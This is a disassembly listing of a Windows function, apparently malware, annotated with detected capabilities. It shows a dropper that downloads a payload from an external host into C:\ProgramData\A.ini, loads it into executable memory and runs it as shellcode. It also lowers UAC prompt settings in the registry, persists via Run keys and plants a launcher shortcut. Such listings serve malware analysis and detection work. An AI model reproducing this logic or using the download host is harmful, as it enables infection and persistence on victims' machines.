Function at 0x100011c0
Capabilities:
Allocate or change rwx memory
Check if file exists
Create process on windows
Create shortcut via ishelllink
Execute shellcode via indirect call
Get file attributes
Get file size
Persist via run registry key
Read file on windows
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x33c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.C:__ProgramData__A.ini
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1000127e
test al, 0x10
jne 0x1000127e
push 0
push 0x20
push 3
push 0
push 3
push 0xc0000000
push str.C:__ProgramData__A.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
mov dword [ebp - 0x314], 0
push ebx
call fcn.1000158b
add esp, 4
mov edi, eax
lea eax, [ebp - 0x314]
push 0
push eax
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0x40
push 0x1000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push ebx
push edi
push eax
mov dword [ebp - 0x33c], eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
pushal
mov eax, dword [ebp - 0x33c]
call eax
popal
jmp 0x100011d6
push 0xa
push 0
push 0x10003260
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
add esp, 0xc
mov dword [ebp - 0x318], eax
lea eax, [ebp - 0x324]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x100012d3
push 4
lea eax, [ebp - 0x318]
push eax
push 4
push 0
push str.ConsentPromptBehaviorAdmin
push dword [ebp - 0x324]
call ebx
push dword [ebp - 0x324]
call esi
push 0xa
push 0
push 0x10003260
call dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_strtol]
add esp, 0xc
mov dword [ebp - 0x31c], eax
lea eax, [ebp - 0x328]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x10001328
push 4
lea eax, [ebp - 0x31c]
push eax
push 4
push 0
push str.PromptOnSecureDesktop
push dword [ebp - 0x328]
call ebx
push dword [ebp - 0x328]
call esi
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x100013ef
lea eax, [ebp - 0x32c]
push eax
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call edi
test eax, eax
jne 0x1000139d
lea ecx, [ebp - 0x108]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10001370
sub ecx, edx
lea eax, [ecx + 1]
push eax
lea eax, [ebp - 0x108]
push eax
push 1
push 0
push str.MyApp
push dword [ebp - 0x32c]
call ebx
push dword [ebp - 0x32c]
call esi
lea eax, [ebp - 0x330]
push eax
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000002
call edi
test eax, eax
jne 0x100013ef
lea eax, [ebp - 0x108]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100013c4
sub eax, edx
inc eax
push eax
lea eax, [ebp - 0x108]
push eax
push 1
push 0
push str.MyApp
push dword [ebp - 0x330]
call ebx
push dword [ebp - 0x330]
call esi
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0x320]
push eax
push 0x10003128
push 1
push 0
push 0x10003148
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x100014b2
mov eax, dword [ebp - 0x320]
push str.C:WindowsSystem32_rundll32.exe
push eax
mov ecx, dword [eax]
call dword [ecx + 0x50]
mov eax, dword [ebp - 0x320]
push str.url.dll_FileProtocolHandler_tg:__setlanguage__langclassic_zh_cn
push eax
mov ecx, dword [eax]
call dword [ecx + 0x2c]
mov eax, dword [ebp - 0x320]
push str.My_Shortcut
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
mov eax, dword [ebp - 0x320]
lea edx, [ebp - 0x334]
push edx
push 0x10003138
push eax
mov ecx, dword [eax]
call dword [ecx]
test eax, eax
js 0x100014a6
push 0x104
lea eax, [ebp - 0x310]
push eax
push 0xffffffffffffffff
push str.C:ProgramDataShortcut.lnk
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [ebp - 0x334]
lea edx, [ebp - 0x310]
push 1
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x18]
mov eax, dword [ebp - 0x334]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x320]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
push 5
push 0
push str.C:ProgramDataShortcut.lnk
push str.C:Windowsexplorer.exe
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
call dword [sym.imp.ole32.dll_CoUninitialize]
push str.urlmon.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x10001559
push str.URLDownloadToFileA
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10001559
push 0
push 0
push str.C:__ProgramData__A.ini
push str.https:__hellworld.cn_down.php_2ee0125b7d7e8177790899afe8fac2a7.bin
push 0
call eax
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
shr ebx, 0x1f
xor bl, 1
je 0x100011dc
push 0x104
lea eax, [ebp - 0x20c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
push 0
lea eax, [ebp - 0x20c]
push eax
push str.C:Windowsexplorer.exe
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000157d
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x100011e2